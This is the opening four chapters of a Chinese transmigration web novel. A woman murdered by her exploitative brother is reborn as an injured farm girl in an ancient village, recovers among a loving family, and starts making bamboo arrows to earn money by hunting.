《苦瓜大王今天吃糖了》
1. 你大爷的
“别看我只是一只羊,羊儿的聪明难以想象……”
李安乐迷迷糊糊抓起自己的手机按下接听键。
“喂,谁啊?”
“你哥要结婚了,你回家来看看。”电话那头的李母说道。
听清楚是母亲的声音,安乐想也没想就回到:“我还有一堆单子没做完,哪有时间?”
摸了放在床头的眼镜戴上,安乐挤了牙膏在刷头上,给自家老妈说:“要是违约了,你帮我赔钱啊?”
“小兔崽子,那是你亲哥!你以后嫁出去还要他给你撑腰,别给我说这些,赶紧回来。”
“我不回!等真的结了,我包个大红包就算了。反正李安康最喜欢的就是钱了,我多包点钱,他还开心点。”
李母气死!女儿大了,翅膀硬了,连家都不愿意回了。再说了,她叫她回来,难道就只是为了一个红包吗?
“我不是和你商量,我这是通知你。你给我听着,要是你不回来,你就别认我这个妈!”
安乐听她这话,停了刷牙的动作,即心烦又无奈的说:“你看看,你又来了!只要我不按照你的想法做事,你就这么威胁我。”这都是第几次了?把断绝关系当尚方宝剑了是吧?
“你就说你回不回?”
“行行行,我回还不行吗?”
得到满意的回复,李母挂了电话。
看着手里黑下去的手机,安乐撑着洗漱台半天没动作。都没发请柬就叫自己回去,他们心里想的是什么,安乐心里一清二楚。
“你妈的,你妈的!你妈的!”崩溃的把卫生间砸了个稀巴烂,安乐声嘶力竭的说,“去死,全都去死!”
“哇呜呜呜……”
坐在唯一完好的马桶上,安乐控制不住痛哭:“为什么要生我?为什么要这样对我?”
一家子五个姊妹,就我最好欺负是吗?为什么我不是孤儿?为什么我要有这样的家庭?
……
哭得脑袋缺氧,安乐才捡了还能用的手机给物业打电话。
“六栋二八零一,我家卫生间砸烂了,麻烦找个师傅帮我重新装一下卫生间。”
“好。联系好了我给您回电话。”来活了!物业小陈麻溜翻开通讯录联系合作的装修师傅,“这个月的提成又多一笔。”
回床上躺着,等脑袋不痛了,安乐才爬起来弄东西祭五脏庙。
冰箱里就剩下两罐啤酒和一盒开了的牛奶。空腹喝酒容易胃疼,安乐拧开牛奶盖子仰头往嘴里倒。
“噗!”又酸又臭的什么味啊?赶紧跑水池边漱口。
安乐漱完口拿牛奶盒一看日期,没过期啊,那这味道怎么这么不对劲?
“哦,我想起来了。”安乐一拍脑袋。这个奶是半个月前开的了,早坏了。
算了算了,去外面吃吧。
今天刚好是复诊的日子,去医院门口随便买点包子馒头对付一下。
和医生说完自上一次就诊以来的变化,简单回答了医生问的问题,安乐得到一张药单。
看着和上一次不一样的药品名字,安乐问:“这个和上回的怎么不一样?”
“你现在的症状,吃这个药管用点。”
“这样啊,谢谢啊!”
出门遇见同小区的业主,安乐避不开,扯了生硬的笑容和人家打招呼。对方是个一米八大高个帅气男生,和安乐一个楼层。
“还没下班啊?”
“还有半个小时才下,你怎么了?哪里不舒服?”经常在楼下烧烤店拼桌,江医生对安乐还挺有好感。看她手里拿着单子,关心问道。
“没事,就是一点小毛病。我还要去取药,先走了哈。”安乐扬了扬手里的单子,表示自己还赶着医生下班之前去拿药。
“哦,好。下次见。”送走安乐,江医生才发现不对。
“这里是心身科,她怎么会来这个科室?”
“二哥,刚刚那个病人怎么回事?”
“哪个啊?”给安乐开药的大夫问。
“就刚刚出去那个。”江医生指了指门口。
“问这个干嘛?”
“我们一个小区的,还住同一层。”江医生有些不好意思的说,“我这不是对人家有好感,想追求嘛。你就给我说说呗。”
“啧啧。”大夫摇头,“你就别想了,抑郁转双向,你把握不了。”
“啊?这么严重!”算了算了,自己还是和护士站的妹妹耍吧,这个真不好搞。
安乐现在住的地方和老家跨市,开车回去要七八个小时。等她到家已经晚上十点过了。
屋里灯还亮着,大家都还没睡。安乐没有家里的钥匙,只能敲门叫他们开门:“爸、妈,开开门。”
屋里李父李母听到敲门声看向对方,同时说:“你去开。”
“行行行,我去。”李父说完装聋子没理,李母看他打定主意不动,只好翻了个白眼,自己去开门。
“回来了?快进来。”一开门,李母脸色挂上笑,乐呵呵接过女儿手里提的营养品。
“妈,还有吃的没有?我还没吃晚饭。”高速上有两辆车撞了,下高速到镇上,米面饭馆都关门了。安乐只能寄希望于老母亲良心未泯。
“哎呀,我还以为你今天到不了,就没给你留饭。”晚上炖的排骨,大儿子喜欢吃,都给吃完了。排骨汤她给拌饭喂狗了。
安乐深吸一口气,感觉要窒息了!
“我去奶奶那里看看。”
李家的房子上中下三层,因为是建在路坎下边,从马路上看就两层。
安乐奶奶是她读初中的时候他爷爷和一个卖茶叶的死活要在一起,逼着李奶奶离婚。谁知道去派出所,两个人根本办结婚证,就不算是夫妻。李爷爷非要办结婚证好离婚,李奶奶不同意,被李爷爷当街暴打了一顿。后来李母看婆婆眼睛被打得看不清楚,怕她有个好歹才接了过来一起住。
婆媳婆媳,那有能和睦相处的?在李奶奶不知道第几次被别人跑到李母这里说她说李母的坏话时,李母再也忍不下去,把李奶奶赶到最下面的一层居住。
所以,虽然李奶奶是和儿子住在一栋房子里,但是分开吃住。
“奶奶,你睡了没有?”
“小乐啊?你进来嘛。”李奶奶身体不好,早早睡了。听到孙女的声音,她又起来开灯。
“小乐,你是多久到家的?吃饭了没有?”
“还没呢。楼上没留饭,我下来看看你这里有没有吃的。”出发的时候就给母亲打了电话,没想到还是老样子!
李奶奶把取暖器打开,让孙女烤火,自己去开冰箱门,准备给孙女弄点东西吃。
“奶奶你坐,我自己弄。”
奶奶年轻的时候干农活落下一身病,安乐给
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她买了膏药和补品。
“我给您买了点东西,你自己收好,不要被老鼠吃了。”
“哎哟,你姑妈她们给我买了好多东西了,你不要乱花钱,自己存起来得用。”话是这么说的,李奶奶手脚麻利的把东西放到自己专门用来防老鼠的柜子里。
把剩菜剩饭随便炒了碗饭,安乐和奶奶围着取暖器取暖。
她一边吃饭,一边问家里情况:“我听我妈说我哥要结婚了,合了八字了吗?过礼了没?”
李奶奶叹了口气,说:“人家姑娘怀孕了,你妈她们想出八万块钱当彩礼,人家没同意,正闹着呢。”
“那我妈说要结婚了,着急忙慌的把我喊回来。”这礼都还没过,离结婚还远着呢。
李奶奶笑了,说:“她还不是想叫你回来帮衬着点。”
“我还要怎么帮?李安康、李安琪他们都是我打工供出来的,还要我怎么弄?”嘴里的饭都不香了。安乐把碗拿去洗了,和奶奶挤着睡。
第二天一早,李母收拾好东西,喊安乐赶紧起来开车送她们去未来儿媳家。
“快起来了,我们都收拾好了。”
“我不是给你们买了一台车吗?你们自己开那台车去就行了。”开了那么久的车,她只想多睡一会儿。
“你的车开出去有面子些,快点起来。”李母锲而不舍的掀被子。
安乐发脾气也没用,李母仍然叨叨叨。被折磨得没法了,她憋着气起来。
“停停停,就是这家。”
下了车,哥哥李安康让安乐把车钥匙给他,他去停车。
早上没吃饭,安乐把车钥匙给哥哥,她去旁边小卖部泡碗泡面垫吧垫吧。
安康把车钥匙挂自己腰上,才进门就被女友拉到一边:“彩礼的事你搞定了没?”
安康指了指腰上的车钥匙,说:“你看,有这个东西在,还怕什么?”
“不是吧,我听说这个品牌的车最低都要五十多万。我爸肯定不会说彩礼的事了,走,进去让他看看。”
安乐吃饱了去看爸妈彩礼的事谈得怎么样,才进未来嫂嫂家的门,就看见两家你推我攘的,都打起来了。
“妹妹,你快点给我转五万块钱。”安康见她进来,赶紧抓住她。
“还吗?”
“我是你哥,还什么啊?你就当提前把份子钱给我了。”
“我的钱是大风刮来的吗?李安康,你们这么多年花了我那么多钱还不够,连彩礼都要我出?”安乐气得当着大家的面大声质问。
“把我车钥匙拿来。”
见李安康不动,安乐伸手去抢车钥匙。
“好啊,李安康,你个穷光蛋,居然这么骗我们。”安康女友父母气自己被骗,把茶几上的东西全都往安康身上扔。
安乐拿到车钥匙,扭头就走。
“李安乐!”
李安康大喊了一声。安乐没理,径直往自己的车走过去。
李安康不知道从哪里找来一把杀猪刀,从安乐身后把她捅了个对穿。
“啊!”
两家人被李安康吓到,躲在屋里没出来。
“李安康,你大爷的。”话还没说完,她又被捅了几刀。
“你的钱都是给我挣的,你的房子车子都是我的。拿来,拿来!”
李安康像一个疯子一样,疯狂砍着眼前的尸体。
2. 老娘没死
再次醒来,安乐看着眼前一黑一白两个“人”吓一跳。
“哇哦,黑白无常。”没想到导演们都是写实派。
黑白无常微笑着和安乐打了招呼:“和你们人间的黑白无常很像吧?”
安乐点头。这两位和影视剧里的黑白无常一模一样,这里说的是服饰打扮,他们长得明显比影视剧里的帅多了。
白无常说:“我现在有一个好消息和一个坏消息,你要先听哪一个?”
呜呼,好经典的台词。
“先听坏消息吧。”
黑无常微笑着说:“我们勾错魂了。”
“额……这个消息确实挺坏的。”安乐一脸黑线。人命关天的事不用笑了,看得人难受。
“既然这样,快把我送回去吧。”她打了那么多年工,好不容易买车买房还攒下大笔存款,她可不想便宜了别人。
白无常尴尬的将一个平板递到安乐面前,点开一个视频给她看。
“这个恐怕不行,你已经被烧成灰了。”
眼睁睁看着自己被推进焚化炉,安乐把平板推开。
好残忍,她都被砍得不成人形了!自己死了都还给那家人挣一笔火化补贴,真的有被伤害到。
安乐老家流行土葬,近几年火葬兴起,为了鼓励大家积极火葬不占用土地,国家特意出了火葬补贴两千块钱的政策。
“那现在怎么办?”不会要当一个孤魂野鬼吧?小说里说的,人死后没有人给烧纸钱,就没有钱用,那自己到时候岂不是要从头再来?
黑白无常对视一眼,黑无常说:“好消息就是,地府出了平行世界模拟系统,可以让被勾错的魂魄进入平行世界度过剩下的阳寿。”
“去哪里有得挑吗?”要是再经历一次这辈子的事,她情愿现在自我终结。
“一般都是系统自动识别。”
“有机会变成小动物吗?”不想当人了,想投胎当修狗,可可爱爱没有烦恼。
“不能哦,人魂当人,动物魂才可以当动物。”白无常摆手。
“我……”安乐还想说什么,被黑无常出声打断。
“有了,这里有一个十岁的女孩子要断气了。快快快,趁现在还没死透,赶紧把她送出去。”黑无常从平板里找到合适的萝卜坑,让白无常赶紧干活。
“唉唉唉,我要健健康康的,这都要断气了,我不去。你给我找个身体健康的。”
“放心吧,就这个,保证身体健康。”黑白无常打开一扇门,把挣扎着不愿意的安乐一把推进去。
“啊!”安乐被吸进一道光芒中。
————
苏家老爷子的房间里,一个黑影翻箱倒柜的找着东西。衣裳鞋袜被胡乱扔在地上。一个荷包被翻了出来,那人打开看了一眼,果断将其放入怀中,随后又弯下腰,费力将床底下的箱子拖出。
那人摸索片刻,掀开一块木板,一个古朴的匣子显露出来。
就这熟门熟路的样子,家贼无疑。
这匣子两掌大小,窄口衣袖根本藏不住,塞衣服里面不仅显眼,还硌得慌。
苏志远几翻尝试都没能藏好匣子,最后一咬牙,干脆直接拿手里,打算趁家里人收粮去了,赶紧往外溜。
李惠娘一大早就起来下地收粮,临近午时,婆婆让她带女儿先回家煮饭喂牲口。
把提前泡好的杂粮掏洗上锅,女儿去井边洗菜,惠娘抓紧时间砍猪草喂牲口。
熟练的把猪草混合着米糠翻拌均匀,惠娘提起装在桶里的猪食,一抬头,她见久不归家的丈夫出现在院子里,还形容猥琐,正准备开院门,忙喊了声:“你回来了,干啥去啊?”
苏志远听到媳妇的声音,开门的动作不由大了些,夹在腋下的匣子“哐当”一声掉在地上。匣盖弹开,匣子里的首饰散落一地。
苏志远脸色一变,急忙蹲下去捡。
李惠娘顾不得喂养牲口,三步并做两步冲过去,一把抓住丈夫的胳膊,和他拉扯起来。
“苏志远,你把东西放下!你又想去赌钱是不是?这些年你赌钱,把家败成什么样你心里没点数吗?你还有没有良心?”李惠娘死命拉着丈夫的手,两眼气得通红。
这几年苏志远染了赌博的恶习,几次三番偷盗家中财物做赌资,扰得家中再无宁日。
自己的嫁妆钱和这些年辛苦攒的私房钱全没了。这些东西还不知道他是偷的谁的,要是被他拿去了,自己和儿女还怎么在这个家里待下去?
“让开,你这贱妇!”苏志远被拦着脱不了身,气得双眼通红,额头青筋暴起。
昨天输了二十贯钱,他还等着回去翻本。这会儿闹出动静,再不赶紧跑,等老爷子下地回来又是一顿好打。
“老子今天非走不可,别挡老子的道!”
蒲扇一样的巴掌拍在惠娘身上,光听那“啪啪”的声音,就知道下手有多重。
“这些东西你不能拿走,你怎么这么狠心!你还给我,还给我!”
惠娘被打得生疼,强撑着身子,把首饰扒拉到身下压着,任凭丈夫怎么打骂都不让开。
苏瑾洗完菜往回走,离家里老远就听到母亲和父亲的声音,怕父亲又打母亲,她赶紧跑起来。
首饰被压着,苏志远扯惠娘扯不开急眼了,一记窝心脚踹出,直把惠娘踹翻,晕死过去。
苏志远胡乱抓起地上的首饰,拉开门就往外冲。不想,苏瑾猛的冲进来,巨大的冲击力直接把苏志远撞翻在地。
苏瑾两眼冒火,怒视栽倒在地的渣爹:“这些东西你休想拿走。”说着,便伸手去夺苏志远手里的首饰。
接二连三被拦,苏志远彻底被激怒,他像一头发狂的野兽,一把抓起人往旁边的石臼上掼:“小兔崽子,还敢打你老子!”
刺眼的鲜血飞溅而出,脸上温热的感觉一下子让苏志远清醒过来。
“苏志远!”苏志远大哥——苏志强挑着一担小麦回来,眼前的一幕让他震惊得瞪大眼睛,不敢相信弟弟竟然做出如此禽兽之举,“这可是你亲女儿,你简直不是人!”
苏志远颤抖着抹掉脸上的血,眼里全是恐惧和慌乱,一转身慌不择路的跑了。
苏家闹出这么大动静,回来吃午饭的邻居们纷纷过来查看。可见到门口一地鲜血和两个一动不动的身体,众人倒吸一口凉气,面露惊恐,纷纷避回家中,还不忘小声议论。
“可怜啊!摊上这么个烂赌鬼,这日子还咋过啊。”
“造孽哦!好好一个家就这么毁了。”
惠娘艰难的睁开眼睛,脑袋昏昏沉沉
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的,眼前一片模糊。待眼睛看得清了,只见女儿靠在石臼上人事不知,身上还有没干的血迹。意识到不对,惠娘抱着浑身是血的女儿,哭嚎着求救:“来人啊,快来人救救我女儿!”
苏家其他人回来,看到倒在血泊之中的苏瑾,老太太登时就受不住晕了过去。
“娘!”苏老二两口子在老太太旁边,见状惊呼一声,扔了小麦手忙脚乱的把人扶着。
苏瑾的两个弟弟,七岁的苏英恒和五岁的苏英杰,两个小家伙吓得脸色惨白,抱在一起嗷嗷大哭。
其他几个孩子也吓得哭出来。
苏家乱成一锅粥,还是老爷子镇定些,招呼着赶紧找大夫医治:“赶紧的,快去找苏大夫。”
苏志强妻子——黄月琴拿帕子堵住侄女脑袋上的破洞,和丈夫往村中大夫家跑。
老爷子和二儿扶老妻,紧随其后。惠娘吓得手脚发软,挣扎着要跟着去。二嫂苗金凤搀扶她跌跌撞撞往外跑。
家里孩子们被吓得嗷嗷叫唤,苏英朗和苏芸看大人们着里忙慌的走完了,自发安慰弟弟妹妹们回家,不要跟着添乱。
“大夫,大夫!快来人啊!”
苏大夫正好没出诊,在家里处理药材。看苏志强抱着个血人,他赶紧让他把人放到屋里床上。他取了银针来,几针下去,就止住了苏瑾伤口处的血。
拿剪刀将伤口处的头发剪去,苏大夫用昨天晚上买回来,没来得及喝的高粱酒清洗伤口,用针缝合。
后来的苏老太太昏迷不醒,苏大夫妻子也会医术,给老太太把了脉,给苏家众人说:“没事,扎两针就醒了。”
两针下去,老太太果然悠悠转醒。老太太一醒来就问:“阿瑾呢?阿瑾怎么样了?”
苏老指了指对面围成一圈的人:“苏大夫正给她治呢。”
老太太挣扎着要去看情况,被苏大夫妻子拦了下来:“老太太,你现在情况也不好,就别看了,万一等一下又晕过去,这是要救你还是要救你的孙女?”
“救阿瑾。”老太太老实坐回去,一双眼就没挪开。
苏家老两口最是疼爱孙子孙女,看孙女儿伤得这么重,老爷子心都提到了嗓子眼。等苏大夫处理完伤口,他心才落到肚子里,紧绷的弦一松,到底年纪大了,两眼一闭,晕了!
“爹!”
苏大夫抹了脑袋上的汗,正想休息一下,给病人开药,见老爷子晕过去,又赶紧给他扎针。
这边的病人们才处理好,苗金凤背着才从河里捞起来晕死过去的惠娘大喊着:“苏大夫,苏大夫!”
“这都什么事啊!”苏大夫累个半死,无奈人命关天,赶紧投入治疗。
一家人折腾了苏大夫一下午,直到天黑才抓了药回去。
“苏大夫,这次的医药费只能先欠着了,等忙完秋收,我们一定抓紧时间挣钱还上。”说话的是苏志强。
苏家的事情闹得凶,苏大夫也知道他们家的情况,便说:“不急,年前还上就行。”
家里一下子多了两个重伤病人,得安排人留下照看。现在又是农忙时节,除了在家里的三个,其他人忙得脚不沾地。
安乐眼神空洞的看着屋顶,不属于自己的记忆像电影一般快速在脑中闪过。
这是又活过来了?
3. 理想家人
“吱嘎”
惠娘推开门,端药进来喂女儿。
“阿瑾,我的女儿,你终于醒了!”惠娘激动的快走两步。
安乐……不,苏瑾意识回笼,手撑着坐起来。看着眼前身上穿着打满补丁,洗得看不出原本颜色衣服的女人,意识到自己真的通过“平行世界系统”进入了平行世界。
惠娘往女儿身后塞了个枕头,让她靠得舒服点。
“儿啊,你现在有没有觉得哪里不舒服?要是有不舒服的地方,你就给娘说,娘去请苏大夫来给你看。”
苏瑾微笑着给母亲说:“娘,我好饿!”
惠娘接过女儿递过来的空碗,听她说饿,顾不得喂药,赶紧去准备吃的。
“阿瑾,你等一会儿,娘去给你弄吃的来。”话一说完,惠娘就一阵风似的跑了出去。
苏瑾看窗户底下的桌子上有面镜子她下床想去拿。昏睡久了肌肉萎缩,只能扶着墙摸过去。
镜中少女脸色苍白,线条流畅的鹅蛋脸透着柔和,一双杏眼清纯娇憨,挺立的鼻梁为面容增添几分立体。
还不错,算得上是个美人胚子。解开头上的纱布,抹药的地方没了头发,但是一点伤痕也没有。
“还好,脑袋恢复原样了。”担心被其他人发现伤处异样,她又把纱布缠回去。躺回床上,她眯上眼等着开饭。
“吱嘎”的声音再次响起,她还以为饭来了,再次坐了起来。
“瑾丫头,感觉怎么样?脑袋还痛吗?”来的是老爷子和老太太。
自从被儿子杀女的暴行惊到,孙女命悬一线,差点没救回来,老两口的身子就垮了!以前他们年纪虽然大,伺候庄稼还是一把好手,现在不行了,走个路都得拿拐棍撑着!
“爷爷奶奶,你们快坐。”看着颤颤巍巍的两位老人,苏瑾起了恻隐之心。
多好的长辈,供儿子们读书学艺,疼惜孙子孙女,乡下人家难得不重男轻女的。可惜好竹出歹笋,生了个敢杀人的赌鬼儿子,连累家里从手有余粮的富户,变成日子过得紧巴巴的贫农。
“你快躺着,别管我们。”老爷子打开带来的点心匣子,把里面的点心递给可怜的孙女。
“昏睡这么多天,吃的都是汤汤水水,饿怀了吧?来,先吃两块点心垫垫,你娘在做饭了。”
老爷子消瘦的脸上满是心疼,自己这个可怜的孙女,脑袋破了个大洞,昏睡了半个多月,好不容易养起来的肉都耗光了。看看,这孩子瘦得都快皮包骨了!
都是他们造的孽,没管好儿子,让他长成了个歪脖子树,连累孩子们没好日子过!
真甜!苏瑾是真饿了,又怕吃得急,把自己噎着,忍着小口小口把点心咬嘴里化开。
“这点心好好吃,谢谢爷爷奶奶。”
老两口看她细着吃,像是要好好记住点心的味道,难过得背过身去抹泪。
要不是生了个败家子,让孙女天天吃点心都使得,哪像这样,一块手指大小的点心,三口才吃完。
苏家的人像是约定好一样,轮番进来看望她。
“姐姐,等你好了,我给你抓鸟玩。”弟弟英恒趴在她床边天真的说。
真好啊,这些人就像最理想的家人一样,互相照顾,互相关心,互相尊重。
苏瑾的堂姐苏芸给她带来了一顶帽子。
“你脑袋上的头发一下子长不出来,我给你做了这个帽子,接下来就是天气就开始冷了,你戴着也暖和。”帽子是苏芸用自己的私房钱找货郎买的碎布做的,虽然那些布料很小块,但她手艺还可以,把帽子做得挺好看的。
“芸娘姐姐,这个帽子好好看,我很喜欢。”苏瑾像是为了证明自己真的很喜欢,把拼布帽子往自己头上戴。
“哎呀,”苏芸拦着她,“你脑袋还没好全,等疤掉了你再戴吧。免得不小心把疤弄开了,很痛的。”
不好告诉她自己已经恢复了,苏瑾笑着将帽子放到床尾的藤箱里。
现在苏瑾还是病号,不用做其他事情,每天就负责晒太阳。晒太阳这个还是老爷子提议的,让她在有太阳的时候,务必搬了躺椅到院子多晒晒。现在她就盖着一块布巾在院子里晒太阳。
其实苏家条件也还可以,至少房子是挺好的。苏家的房子从院门口看,正房七间宽,东西厢房各五间,大门两侧又还各有两间配房,房房相连,整体呈现一个“口”字型。
正房由老爷子老太太居住,外加堆放粮食这些东西。东厢房由苏老大一家五口居住;西厢房归苏老二一家四口居住;而苏瑾一家就住前面的配房。
每个人都能独自拥有一间屋子,苏瑾住着可自在了。唯一不好的就是她的房间不远处就是茅厕,每次挑粪肥田都要从她房间门口过,那味道,经久不散!
为什么不在菜园子上开一个门出去呢?这个问题在某一天她亲眼看见一个老太太走着走着就歪到人家菜园子里,偷摸拔了一堆菜,而得到答案。
一晃到了十月初,苏瑾感觉差不多了,揭了脑袋上纱布。伤是没问题了,就是头发才冒出来一点点,光秃秃的,看着可丑了!好在她娘手巧,帮她把头发四周支援高地,将还没长起来头发的地方掩盖起来。
苏瑾头一次看那个造型,无端想到前世秃头男子们掩盖秃头的方法。她现在的样子,和他们有异曲同工之妙啊!笑得她肚子都痛了。
为了感谢堂姐,她特地戴上了那顶拼布帽子。在外面遇到大人夸帽子好看,她就逮着人家狠夸一顿堂姐的优点。
堂姐已经到了议亲的年纪,年中农闲时,本来家里要给她扯布给她做衣裳装点门面。谁知道被苏瑾的赌鬼爹把家里积蓄偷了个干净。
苗金凤好不容易通过九转十八弯的亲戚关系,帮她寻了个镇上开铺子的老板的儿子,人小伙子本来看苏芸长得好看,心里也有意。但他母亲见了两次苏芸,苏芸都是一身补丁盖补丁的衣服,觉得两家经济上相差太大,再加上有个好赌的叔叔,保不齐以后要拿婆家的钱补贴娘家,回去就拒了这门亲事。
苏芸很满意那个少年,谁知道被人家婉拒了,事后她还听说是因为自己太穷酸才没被看上,自己躲在被窝里哭了几回。
苏志远赌钱这个事是改变不了了,帮堂姐立起来一个手巧勤劳的形象,她还是可以做到的。
在苏瑾的不懈努力下,苏芸的名声传了出去。隔壁村家
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里只有一个独生子的刘姓人家,托了媒婆上门来问,想上门相看相看。
头上带着标志性大红花的媒婆舞着手里鲜艳的手帕上门,苏瑾拉着堂姐躲在楼上偷偷往下看。
“你们可以去打听打听,这孩子的父母、祖父母都是和善人,最是好相处不过。”媒婆说完人家的条件,又说少年本身。
“他们家三代单传,这小伙子现在十九岁,长的五尺四的大高个,在私塾读过几天书。他现在在成衣铺子当学徒,过不了几年,等他学得了做衣裳的手艺,家里再帮衬着开了成衣铺子。家里良田五十几亩,雇得几个长工种地,你们家大孙女嫁过去,那就是坐着享福的奶奶。”
媒婆说得天花乱坠,老爷子心里只一个疑问:“他家既然这么好,怎么会等到这个年纪才议亲?”
村里男孩子,谁家不是十六七就开始议亲?从议亲到成亲,少说得用个两三年时间,运气好的,十九岁都快当爹了!
媒婆笑呵呵的回说:“他们家这孩子主意大,硬要等学成了才肯成亲。这不是他爹娘听说你们家大孙女女工好嘛,就想着遣我来问问,要是两个孩子成了,这手艺都在一处,相配得很。”
媒婆没说的是,这小伙子父母看他们苏家人丁兴旺,觉得苏芸是个好的,就算家穷一点也无所谓,他们又不缺这一点,重要的是能旺子嗣。
这媒婆要是所言不虚,苏瑾觉得这不失为一桩好亲事。对方家庭简单,又有经济基础,人小伙子还上进。这要是在她老家,早被订下了。
“堂姐,你觉得怎么样,心里有没有什么想法啊?”看堂姐脸红红的,苏瑾故意问道。
“哎呀。”苏芸双手捂着滚烫的脸颊,小声和堂妹说,“我怎么想的不重要,还得看爷爷和我爹同不同意。”
苏芸现在十四岁,已经及笄。老爷子确实觉得可以相看相看,便示意老妻招待媒婆,自己和儿子去外面商量商量。
“老二,你心里怎么想的?”
苏志兴自从上一次被婉拒了,心里就打算在村里找个知根知底的人家。只是听他爹这口气,好像挺中意的,他犹豫了一下,说:“阿芸是您孙女,您走过的桥比我吃的盐都多,我听爹的。”
得了儿子的答复,老爷子想好措辞回了媒婆,约定在十月二十九这天相看。
晚上,苏志兴给女儿说了相看的事,苏芸红着脸点了头。
“媳妇,爹的意思是让你下一次县里大集的时候带阿芸去逛逛,不管是买故衣还是买布头,总要在约定好的日子之前给女儿准备一套新衣。”
听到苏志兴的话,母女俩都很感动。上一次因为钱被偷,老爷子气得病了几天,没顾得上制新衣,事后苏芸哭得眼睛肿得像桃子,老爷子还偷偷落了泪,怪自己没教好苏志远。
听到堂姐要去县城,苏瑾也吵着要去。
老爷子疼小辈,就答应了。
苏瑾要去县城,没钱可不行,要不然来回走四个小时,就去长长见识可不划算。再说了,她还想着给堂姐做一身衣裳,即是还人情,又是全了两个人的姐妹情。
只是该怎么在大集日之前挣到钱呢?苏瑾表示,这真是一个好问题。
4. 挣钱计划
苏老大、苏老二和大堂哥去外面找活干去了,苏瑾不知道这里有什么挣钱的法子,就跑去问还留在家里的人。第一个找的就是她娘。
“娘,我做什么才能挣钱?”
“挣钱?怎么,你想买什么东西吗?”村里有家亲戚要嫁女儿,惠娘接了他家给女儿做鞋当嫁妆的活。惠娘费力纳鞋底,给女儿说,“纳鞋底能挣钱,娘把这四双鞋做完,能得十文钱呢。”
纳鞋底费老鼻子劲了,而且这活也不好找,pass。
苏瑾又去问她二伯母,既然堂姐要相看,她总得给堂姐准备点什么吧?
“二伯母,你干这个挣钱吗?”
苗金凤在削木头给女儿做簪子,听苏瑾这么问,她说:“这个又不是金的银的,谁削削都能做出来一根,挣不了钱。”
好吧,她去问问大伯母。
问了一圈没找到适合她挣钱的办法,苏瑾坐在家门口发愁。
“姐姐,村里有人打猎打到大野猪了,你要不要跟着去看看?”现在没什么活计,英恒他们见天的跑出去找村里其他孩子玩。这不,有人打到一头大野猪,现在抬进村了,英恒见那头野猪好大一只,赶紧跑回来叫姐姐去看热闹。
打猎?对啊,自己弓箭射得不错,可以尝试一下这个办法。
“阿恒,你真是我的好弟弟,姐姐喜欢死你了!”
苏瑾没去看热闹,反而去找她爷爷帮她做一把弓箭。
闲着也是闲着,老爷子一口答应:“行,爷爷给你做。”
老爷子当哄小孩,拿了麻绳和竹子给孙女绑了一小弓箭:“拿去玩吧。”
看着手里的小玩具,苏瑾给她爷爷说:“爷爷,我要的是那种大大的,能把山鸡野兔射死的那种弓箭。就和……就和……啊,就和打了野猪回来的那个伯伯的弓箭一样。”
“那种弓箭危险得很,小孩子家玩这个就行了。”小孩子顽皮,万一拿去射其他人弄出事情来,那可不得了。
“爷爷,你就给我做嘛。我保证,不拿到村里玩。”她本来也没打算拿去村里玩,是准备上山打猎的,这不算骗人哦。
孙女歪缠,老爷子磨不过,只得答应下来:“好好好,你起来,我去给你找东西来做弓箭。”自家的孩子自己疼,要弓箭就给她做吧。
“爷爷你真好,我就知道你最疼我了。”停止抱大腿行为,苏瑾高高兴兴的去找她弟弟们给她干活。
弓有着落,剩下的就是准备箭矢。
苏瑾叫上弟弟,拿上镰刀准备去后山砍苦竹做箭杆。
①苦竹这种竹子,竹竿挺直,中空,环节平坦,直径约一公分左右,质地密度大,制作出来的竹箭具有弹力好、牢度高、自重轻、射程远的特点,飞行速度和穿透力都比较出色,用了做箭杆,绝对合适。
“姐,还砍吗?”英恒看着地上的几根竹子,觉得用来做箭够了吧?
一般来说,②一根普通直径约一到两厘米、长度两米到三米的苦竹,如果制做长约七十到九十厘米的普通尺寸的箭杆,大约可以制作三到五根箭。
箭都是消耗品,射出去了不一定能找回来,当然是越多越好。就她们现在砍的这几根哪里够?
“多砍两根。”
砍了一大堆竹子,在英恒跳脚说他们拖不回去了,苏瑾才停下。
“哎,老弟你还得练啊,这么点竹子就弄不回去,姐姐还怎么指望你?”
英恒无语,对着姐姐控诉:“我这么听你的话,怎么就指望不上了?再说了,我才八岁,八岁!能来干活就相当不错了!”村里那些和他一样大的,还整天逗鸡遛狗。那像他,这么懂事,给姐姐干活。
英恒越想越觉得自己棒棒哒,小脑袋越抬越高。
六岁的英杰哼哧哼哧又砍下一根竹子,骄傲的给姐姐说:“姐姐,你看我,又砍下来一根竹子。”说完,指着哥哥说,“哥哥靠不着,还有我呢。”
看着拍着胸脯和自己抢夺姐姐的英杰,英恒无情嘲笑:“可别拍了,小心把那两根细排骨拍断了!”
“哼,你才是细排骨。”
“你是。”
“你才是。”
“哈哈哈。”看两个弟弟斗鸡似的,苏瑾被逗得哈哈大笑。
“姐姐!”两兄弟不满的看着她。
“好了好了,赶紧回去了,要不然今天都做不出箭来。”
竹子苏瑾修掉了竹枝,竹枝用来引火很方便,她就把竹枝全部捆绑好让英杰拉回去,自己和英恒负责竹竿部分的运输。
回到家,老爷子还在做弓。苏瑾翻出来锯子锯苦竹,避免用砍的方式把竹子砍破变形,导致浪费材料。
总共做出一百根箭杆。箭由箭杆、箭羽和箭矢组成,箭杆有了,得去找其他的东西做剩下的部件。
小时候看过孔子的动画片吗?里面有一集就是孔子给弟子传授怎样让箭飞得更远,更具有杀伤力的方法。苏瑾打算去找一些羽毛回来做箭羽。
有人家在河边放养大鹅,两岸有许多大鹅掉的羽毛。现成的材料,苏瑾招呼拿着箭杆当宝剑戏耍的两个弟弟:“别玩了,干活去。”
丢了大宝剑,兄弟两屁颠屁颠的跟着姐姐走。
“看着啊,就捡这种,其他的不要。”苏瑾拿一根完全成熟且没有损伤的羽毛给弟弟打个样。
“知道了。”记住羽毛的样子,英恒英杰仔细寻找适合的羽毛。
一大框羽毛,苏瑾先做两个毽子犒劳弟弟,剩下的她自己处理。
两兄弟在院子里玩毽子,才从外面玩回来的二伯家的堂弟也加入进去,三个人玩得嘻嘻哈哈的。
苏芸看堂妹在给竹子绑线,走过来给她帮忙。
“阿瑾,这个怎么弄?我帮你做。”
苏芸手巧,苏瑾放心让她帮自己。
“芸娘姐,你看我做一个。”
苏瑾在箭杆上贴了一小段竹片,照着竹片长度将手里的线绑在箭杆上面。做完后小心拿菜刀劈开,将裁剪好的鹅羽夹上去,再将箭杆末尾用线绑紧实。
“看,这样就做好了。”
苏芸看得认真,上手以后很快掌握要领,速度和苏瑾不相上下。
